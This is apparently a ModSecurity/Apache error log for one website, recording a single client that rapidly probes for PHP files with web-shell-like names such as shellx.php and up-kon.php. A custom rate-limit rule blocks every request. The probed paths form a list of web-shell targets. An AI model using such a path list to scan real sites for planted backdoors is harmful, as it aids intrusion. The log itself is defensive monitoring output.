[Mon Apr 13 05:40:27.360389 2026] [:error] [pid 34048:tid 34053] [client 4.204.201.44:64165] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sure.php"] [unique_id "adwRS_SiQ_PJjlY5Ehz2OwAAAMM"]
[Mon Apr 13 05:40:27.894710 2026] [:error] [pid 11325:tid 11340] [client 4.204.201.44:65049] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sure.php"] [unique_id "adwRS-CGj3EEJtCwa0OQKgAAAQ0"]
[Mon Apr 13 05:40:28.548955 2026] [:error] [pid 33942:tid 33992] [client 4.204.201.44:65139] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sure.php"] [unique_id "adwRTBNHe8geO_lMeFabtQAAAE0"]
[Mon Apr 13 05:40:29.056453 2026] [:error] [pid 33942:tid 34003] [client 4.204.201.44:62375] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sure.php"] [unique_id "adwRTRNHe8geO_lMeFabtgAAAFg"]
[Mon Apr 13 05:40:29.557838 2026] [:error] [pid 33943:tid 34009] [client 4.204.201.44:65151] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "adwRTayoXuZjocnxM5FqSgAAAIM"]
[Mon Apr 13 05:40:30.139334 2026] [:error] [pid 11325:tid 11350] [client 4.204.201.44:65116] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "adwRTuCGj3EEJtCwa0OQLgAAARc"]
[Mon Apr 13 05:40:30.556727 2026] [:error] [pid 33943:tid 34022] [client 4.204.201.44:64231] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "adwRTqyoXuZjocnxM5FqTAAAAJA"]
[Mon Apr 13 05:40:31.070813 2026] [:error] [pid 11325:tid 11327] [client 4.204.201.44:62340] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "adwRT-CGj3EEJtCwa0OQMAAAAQA"]
[Mon Apr 13 05:40:31.551681 2026] [:error] [pid 33942:tid 33986] [client 4.204.201.44:62388] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4563.php"] [unique_id "adwRTxNHe8geO_lMeFabuQAAAEc"]
[Mon Apr 13 05:40:32.105128 2026] [:error] [pid 33941:tid 33970] [client 4.204.201.44:64252] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4563.php"] [unique_id "adwRUG_NKERAxgG-rYM4dgAAABM"]
[Mon Apr 13 05:40:32.588749 2026] [:error] [pid 11325:tid 11343] [client 4.204.201.44:62377] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4563.php"] [unique_id "adwRUOCGj3EEJtCwa0OQMgAAARA"]
[Mon Apr 13 05:40:33.019387 2026] [:error] [pid 11325:tid 11332] [client 4.204.201.44:62414] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4563.php"] [unique_id "adwRUeCGj3EEJtCwa0OQNQAAAQU"]
[Mon Apr 13 05:40:33.495102 2026] [:error] [pid 11325:tid 11331] [client 4.204.201.44:65109] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wunaivpl.php"] [unique_id "adwRUeCGj3EEJtCwa0OQNgAAAQQ"]
[Mon Apr 13 05:40:33.944873 2026] [:error] [pid 33943:tid 34018] [client 4.204.201.44:63664] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wunaivpl.php"] [unique_id "adwRUayoXuZjocnxM5FqTQAAAIw"]
[Mon Apr 13 05:40:34.372009 2026] [:error] [pid 33942:tid 33993] [client 4.204.201.44:64205] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wunaivpl.php"] [unique_id "adwRUhNHe8geO_lMeFabugAAAE4"]
[Mon Apr 13 05:40:34.790743 2026] [:error] [pid 11325:tid 11346] [client 4.204.201.44:61449] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wunaivpl.php"] [unique_id "adwRUuCGj3EEJtCwa0OQOQAAARM"]
[Mon Apr 13 05:40:35.207877 2026] [:error] [pid 33943:tid 34023] [client 4.204.201.44:61553] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reune.php"] [unique_id "adwRU6yoXuZjocnxM5FqTwAAAJE"]
[Mon Apr 13 05:40:35.655575 2026] [:error] [pid 11325:tid 11349] [client 4.204.201.44:62433] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reune.php"] [unique_id "adwRU-CGj3EEJtCwa0OQPAAAARY"]
[Mon Apr 13 05:40:36.101911 2026] [:error] [pid 11325:tid 11330] [client 4.204.201.44:64175] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reune.php"] [unique_id "adwRVOCGj3EEJtCwa0OQPQAAAQM"]
[Mon Apr 13 05:40:36.559679 2026] [:error] [pid 11325:tid 11327] [client 4.204.201.44:63714] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reune.php"] [unique_id "adwRVOCGj3EEJtCwa0OQPwAAAQA"]
[Mon Apr 13 05:40:36.987750 2026] [:error] [pid 11325:tid 11332] [client 4.204.201.44:63734] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dw.php"] [unique_id "adwRVOCGj3EEJtCwa0OQQQAAAQU"]
[Mon Apr 13 05:40:37.504143 2026] [:error] [pid 11325:tid 11331] [client 4.204.201.44:61525] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dw.php"] [unique_id "adwRVeCGj3EEJtCwa0OQQwAAAQQ"]
[Mon Apr 13 05:40:37.931344 2026] [:error] [pid 33942:tid 33990] [client 4.204.201.44:61458] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dw.php"] [unique_id "adwRVRNHe8geO_lMeFabvQAAAEs"]
[Mon Apr 13 05:40:38.351687 2026] [:error] [pid 34048:tid 34066] [client 4.204.201.44:65090] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dw.php"] [unique_id "adwRVvSiQ_PJjlY5Ehz2PgAAANA"]
[Mon Apr 13 05:40:38.766297 2026] [:error] [pid 33941:tid 33953] [client 4.204.201.44:64177] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "adwRVm_NKERAxgG-rYM4eQAAAAM"]
[Mon Apr 13 05:40:39.183879 2026] [:error] [pid 33943:tid 34006] [client 4.204.201.44:63666] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "adwRV6yoXuZjocnxM5FqVAAAAIA"]
[Mon Apr 13 05:40:39.600629 2026] [:error] [pid 11325:tid 11334] [client 4.204.201.44:65076] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "adwRV-CGj3EEJtCwa0OQRQAAAQc"]
[Mon Apr 13 05:40:40.049561 2026] [:error] [pid 11325:tid 11340] [client 4.204.201.44:62398] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "adwRWOCGj3EEJtCwa0OQRwAAAQ0"]
[Mon Apr 13 05:40:40.468683 2026] [:error] [pid 11325:tid 11350] [client 4.204.201.44:64218] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellx.php"] [unique_id "adwRWOCGj3EEJtCwa0OQSQAAARc"]
[Mon Apr 13 05:40:40.882973 2026] [:error] [pid 11325:tid 11351] [client 4.204.201.44:65093] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellx.php"] [unique_id "adwRWOCGj3EEJtCwa0OQSgAAARg"]
[Mon Apr 13 05:40:41.307491 2026] [:error] [pid 11325:tid 11342] [client 4.204.201.44:63640] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellx.php"] [unique_id "adwRWeCGj3EEJtCwa0OQTAAAAQ8"]
[Mon Apr 13 05:40:41.739650 2026] [:error] [pid 11325:tid 11343] [client 4.204.201.44:63617] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellx.php"] [unique_id "adwRWeCGj3EEJtCwa0OQTgAAARA"]
[Mon Apr 13 05:40:42.171157 2026] [:error] [pid 34048:tid 34058] [client 4.204.201.44:63658] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/l.php"] [unique_id "adwRWvSiQ_PJjlY5Ehz2QAAAAMg"]
[Mon Apr 13 05:40:42.601724 2026] [:error] [pid 11325:tid 11329] [client 4.204.201.44:63743] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/l.php"] [unique_id "adwRWuCGj3EEJtCwa0OQUgAAAQI"]
[Mon Apr 13 05:40:43.022636 2026] [:error] [pid 11325:tid 11334] [client 4.204.201.44:64190] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/l.php"] [unique_id "adwRW-CGj3EEJtCwa0OQUwAAAQc"]
[Mon Apr 13 05:40:43.456769 2026] [:error] [pid 34048:tid 34074] [client 4.204.201.44:61543] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/l.php"] [unique_id "adwRW_SiQ_PJjlY5Ehz2QgAAANg"]
[Mon Apr 13 05:40:43.877177 2026] [:error] [pid 34048:tid 34056] [client 4.204.201.44:63624] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "adwRW_SiQ_PJjlY5Ehz2RAAAAMY"]
[Mon Apr 13 05:40:44.299913 2026] [:error] [pid 11325:tid 11339] [client 4.204.201.44:65046] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "adwRXOCGj3EEJtCwa0OQWAAAAQw"]
[Mon Apr 13 05:40:44.711403 2026] [:error] [pid 11325:tid 11347] [client 4.204.201.44:61562] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "adwRXOCGj3EEJtCwa0OQWgAAARQ"]
[Mon Apr 13 05:40:45.179649 2026] [:error] [pid 34048:tid 34059] [client 4.204.201.44:63675] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "adwRXfSiQ_PJjlY5Ehz2RQAAAMk"]
[Mon Apr 13 05:40:45.602664 2026] [:error] [pid 33942:tid 33980] [client 4.204.201.44:64162] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lnexugel.php"] [unique_id "adwRXRNHe8geO_lMeFabwQAAAEE"]
[Mon Apr 13 05:40:46.047552 2026] [:error] [pid 33943:tid 34008] [client 4.204.201.44:64211] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lnexugel.php"] [unique_id "adwRXqyoXuZjocnxM5FqVwAAAII"]
[Mon Apr 13 05:40:46.468686 2026] [:error] [pid 11325:tid 11350] [client 4.204.201.44:64207] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lnexugel.php"] [unique_id "adwRXuCGj3EEJtCwa0OQZQAAARc"]
[Mon Apr 13 05:40:46.892150 2026] [:error] [pid 11325:tid 11347] [client 4.204.201.44:63731] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lnexugel.php"] [unique_id "adwRXuCGj3EEJtCwa0OQaQAAARQ"]
[Mon Apr 13 05:40:47.355441 2026] [:error] [pid 34048:tid 34060] [client 4.204.201.44:62396] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/online.php"] [unique_id "adwRX_SiQ_PJjlY5Ehz2RwAAAMo"]
[Mon Apr 13 05:40:47.779842 2026] [:error] [pid 11325:tid 11329] [client 4.204.201.44:64246] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/online.php"] [unique_id "adwRX-CGj3EEJtCwa0OQcQAAAQI"]
[Mon Apr 13 05:40:48.198482 2026] [:error] [pid 11325:tid 11348] [client 4.204.201.44:65105] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/online.php"] [unique_id "adwRYOCGj3EEJtCwa0OQdAAAARU"]
[Mon Apr 13 05:40:48.631648 2026] [:error] [pid 11325:tid 11345] [client 4.204.201.44:64192] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/online.php"] [unique_id "adwRYOCGj3EEJtCwa0OQdgAAARI"]
[Mon Apr 13 05:40:49.082387 2026] [:error] [pid 33942:tid 33992] [client 4.204.201.44:61535] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up-kon.php"] [unique_id "adwRYRNHe8geO_lMeFabxQAAAE0"]
[Mon Apr 13 05:40:49.519685 2026] [:error] [pid 34048:tid 34057] [client 4.204.201.44:64186] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up-kon.php"] [unique_id "adwRYfSiQ_PJjlY5Ehz2SAAAAMc"]
[Mon Apr 13 05:40:49.932286 2026] [:error] [pid 33943:tid 34020] [client 4.204.201.44:62394] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up-kon.php"] [unique_id "adwRYayoXuZjocnxM5FqXAAAAI4"]
[Mon Apr 13 05:40:50.383867 2026] [:error] [pid 33943:tid 34015] [client 4.204.201.44:61561] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up-kon.php"] [unique_id "adwRYqyoXuZjocnxM5FqXwAAAIk"]
[Mon Apr 13 05:40:51.006965 2026] [:error] [pid 33943:tid 34016] [client 4.204.201.44:64209] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/word.php"] [unique_id "adwRY6yoXuZjocnxM5FqYwAAAIo"]
[Mon Apr 13 05:40:51.501454 2026] [:error] [pid 33943:tid 34006] [client 4.204.201.44:64241] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/word.php"] [unique_id "adwRY6yoXuZjocnxM5FqZQAAAIA"]
[Mon Apr 13 05:40:52.027194 2026] [:error] [pid 11325:tid 11339] [client 4.204.201.44:62462] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/word.php"] [unique_id "adwRZOCGj3EEJtCwa0OQgAAAAQw"]
[Mon Apr 13 05:40:52.447736 2026] [:error] [pid 11325:tid 11351] [client 4.204.201.44:64201] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/word.php"] [unique_id "adwRZOCGj3EEJtCwa0OQgQAAARg"]
